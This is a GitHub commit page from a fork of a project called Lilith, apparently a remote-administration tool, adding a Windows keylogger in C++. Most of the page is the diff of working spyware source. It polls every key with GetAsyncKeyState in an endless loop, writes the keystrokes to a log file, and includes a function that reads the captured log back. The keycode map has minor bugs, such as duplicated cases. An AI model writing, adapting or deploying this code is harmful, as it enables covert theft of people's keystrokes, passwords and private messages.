forked from werkamsus/Lilith
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request werkamsus#7 from JulianGi/keylogger
Addition of a Keylogger by JulianGi
- Loading branch information
Showing
10 changed files
with
198 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -17,6 +17,7 @@ | |
#include "settings.h" | ||
#include "conversion.h" | ||
#include "utility.h" | ||
#include "keylogger.h" | ||
|
||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,150 @@ | ||
#include "keylogger.h" | ||
|
||
|
||
|
||
|
||
void Keylogger::StartLogger() | ||
{ | ||
while (true) | ||
{ | ||
if (Settings::logKeys) | ||
{ | ||
Logger(); | ||
} | ||
Sleep(10); | ||
} | ||
|
||
} | ||
|
||
|
||
|
||
|
||
std::string Keylogger::DumpKeys() | ||
{ | ||
std::ifstream file; | ||
file.open(Settings::keylogPath); | ||
std::string keys; | ||
while (!file.eof()) | ||
{ | ||
file >> keys; | ||
} | ||
file.close(); | ||
return keys; | ||
} | ||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
void Keylogger::Logger()//keycode map taken from https://github.com/TheFox/keylogger/blob/master/src/main.cpp | ||
{ | ||
|
||
std::ofstream file; | ||
file.open(Settings::keylogPath, std::ios_base::app); | ||
|
||
for (unsigned char c = 1; c < 255; c++) { | ||
SHORT rv = GetAsyncKeyState(c); | ||
if (rv & 1) { // on press button down | ||
std::string out = ""; | ||
if (c == 1) | ||
out = "[LMOUSE]"; // mouse left | ||
else if (c == 2) | ||
out = "[RMOUSE]"; // mouse right | ||
else if (c == 4) | ||
out = "[MMOUSE]"; // mouse middle | ||
else if (c == 13) | ||
out = "[RETURN]"; | ||
else if (c == 16 || c == 17 || c == 18) | ||
out = ""; | ||
else if (c == 160 || c == 161) // lastc == 16 | ||
out = "[SHIFT]"; | ||
else if (c == 162 || c == 163) // lastc == 17 | ||
out = "[STRG]"; | ||
else if (c == 164) // lastc == 18 | ||
out = "[ALT]"; | ||
else if (c == 165) | ||
out = "[ALT GR]"; | ||
else if (c == 8) | ||
out = "[BACKSPACE]"; | ||
else if (c == 9) | ||
out = "[TAB]"; | ||
else if (c == 27) | ||
out = "[ESC]"; | ||
else if (c == 33) | ||
out = "[PAGE UP]"; | ||
else if (c == 34) | ||
out = "[PAGE DOWN]"; | ||
else if (c == 35) | ||
out = "[HOME]"; | ||
else if (c == 36) | ||
out = "[POS1]"; | ||
else if (c == 37) | ||
out = "[ARROW LEFT]"; | ||
else if (c == 38) | ||
out = "[ARROW UP]"; | ||
else if (c == 39) | ||
out = "[ARROW RIGHT]"; | ||
else if (c == 40) | ||
out = "[ARROW DOWN]"; | ||
else if (c == 45) | ||
out = "[INS]"; | ||
else if (c == 46) | ||
out = "[DEL]"; | ||
else if ((c >= 65 && c <= 90) | ||
|| (c >= 48 && c <= 57) | ||
|| c == 32) | ||
out = c; | ||
|
||
else if (c == 91 || c == 92) | ||
out = "[WIN]"; | ||
else if (c >= 96 && c <= 105) | ||
out = "[NUM " + intToString(c - 96) + "]"; | ||
else if (c == 106) | ||
out = "[NUM /]"; | ||
else if (c == 107) | ||
out = "[NUM +]"; | ||
else if (c == 109) | ||
out = "[NUM -]"; | ||
else if (c == 109) | ||
out = "[NUM ,]"; | ||
else if (c >= 112 && c <= 123) | ||
out = "[F" + intToString(c - 111) + "]"; | ||
else if (c == 144) | ||
out = "[NUM]"; | ||
else if (c == 192) | ||
out = "[OE]"; | ||
else if (c == 222) | ||
out = "[AE]"; | ||
else if (c == 186) | ||
out = "[UE]"; | ||
else if (c == 186) | ||
out = "+"; | ||
else if (c == 188) | ||
out = ","; | ||
else if (c == 189) | ||
out = "-"; | ||
else if (c == 190) | ||
out = "."; | ||
else if (c == 191) | ||
out = "#"; | ||
else if (c == 226) | ||
out = "<"; | ||
|
||
else | ||
out = "[KEY \\" + intToString(c) + "]"; | ||
|
||
|
||
file << out; | ||
file.flush(); | ||
file.close(); | ||
} | ||
} | ||
} | ||
|
||
std::string Keylogger::intToString(int i) { | ||
char buffer[4]; | ||
_itoa_s(i, buffer, 10); | ||
return std::string(buffer); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
#pragma once | ||
#include "settings.h" | ||
#include <fstream> | ||
#include <iostream> | ||
#include <Windows.h> | ||
#include <string> | ||
#include <thread> | ||
|
||
class Keylogger | ||
{ | ||
public: | ||
static void StartLogger(); | ||
static std::string DumpKeys(); | ||
private: | ||
static void Logger(); | ||
static std::string intToString(int i); | ||
}; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters